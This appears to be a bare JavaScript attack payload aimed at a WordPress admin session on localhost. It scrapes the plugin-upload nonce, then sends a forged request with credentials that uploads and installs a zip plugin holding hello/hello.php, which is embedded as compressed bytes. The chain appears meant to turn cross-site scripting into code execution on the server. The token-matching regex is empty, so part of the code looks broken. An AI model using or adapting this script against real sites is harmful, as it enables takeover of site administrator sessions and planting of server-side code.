function sRequest(token) { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost/wordpress/wp-admin/update.php?action=upload-plugin", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "pl,en-US;q=0.7,en;q=0.3"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------12586301018622"); xhr.withCredentials = true; var body = "-----------------------------12586301018622\r\n" + "Content-Disposition: form-data; name=\"_wpnonce\"\r\n" + "\r\n" + token + "\r\n" + "-----------------------------12586301018622\r\n" + "Content-Disposition: form-data; name=\"_wp_http_referer\"\r\n" + "\r\n" + "/wordpress/wp-admin/plugin-install.php?tab=upload\r\n" + "-----------------------------12586301018622\r\n" + "Content-Disposition: form-data; name=\"pluginzip\"; filename=\"hello.zip\"\r\n" + "Content-Type: application/x-zip-compressed\r\n" + "\r\n" + "PK\x03\x04\x14\x00\x00\x00\x08\x00\xe4\x89eF\x07\xf5U\xd1\x12\x04\x00\x00\xf1\x08\x00\x00\x0f\x00\x00\x00hello/hello.php\xedU]o\xdb6\x14}\xb6~\xc5\x85\x17@n`G\xcd\xc3\xf6\xe0:\xc9\x8auk\x0b\xac\xdd\xb0t\x0b\x86\xae0\x18\xe9Z\xe2B\x91\x04IE\xd6\x86\xfe\xf7\x1dRJ\xe2\x0c\x19\xb0\xbd\x0f0\x0c\xfb\xf2~\x9c{\xce\xe5\xe5\xe6\xc266+\x8e\x8f3:\xa6\xaf\xad(oD\xcd\xf4\x86\x952\xdbWF\xa9!\xd9o\xd9yi4\x9d\x9e|\x85\xff\x05\xfc\xb3\x1fUWKM\xefE\xcb\xeb\xd1\x9fF\xff\xe9\xe0\xe7\x9f\xde\xae\xa9\t\xc1\xae\x8b\xa27\xae\xb2\x8e\xbd?1\xae.lr\xf0E\x13\x83VU\x0c*\xb2W\xecK\'m@\x955}h\xa4\'|\xb4\t\xf4{\xe7\x03\t\x1a\x83\x96$\x03\xf9\xa1\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25=\x8f.;\xa3\xc3\xcac\x1a\x11u\x9a\xa2\x3e\xa3x\x91\xaa\xa3Z\xd24a\xf2\x91\xe6m\xd4nq\xb4}\xfd\xed\x87\x8fy\xd9V\xf9\'\xf0\xfd\xa4\x3e\r\x8b*\x8asO\xea(\xcd\xc5y\xf6\x17PK\x01\x02\x14\x00\x14\x00\x00\x00\x08\x00\xe4\x89eF\x07\xf5U\xd1\x12\x04\x00\x00\xf1\x08\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x00hello/hello.phpPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00=\x00\x00\x00?\x04\x00\x00\x00\x00\r\n" + "-----------------------------12586301018622\r\n" + "Content-Disposition: form-data; name=\"install-plugin-submit\"\r\n" + "\r\n" + "Zainstaluj\r\n" + "-----------------------------12586301018622--\r\n"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } function getToken() { var url = "http://localhost/wordpress/wp-admin/plugin-install.php?tab=upload"; var xmlhttp = new XMLHttpRequest(); xmlhttp.open("GET", url,true); xmlhttp.onreadystatechange=function() { if (xmlhttp.readyState==4) { var www = xmlhttp.responseText; var re = www.match(//ig); token = re[0].match(/([a-z0-9]{10})/g); console.log('xhr',xmlhttp); } } xmlhttp.send(null); return token; } var x = getToken(); sRequest(x[0]);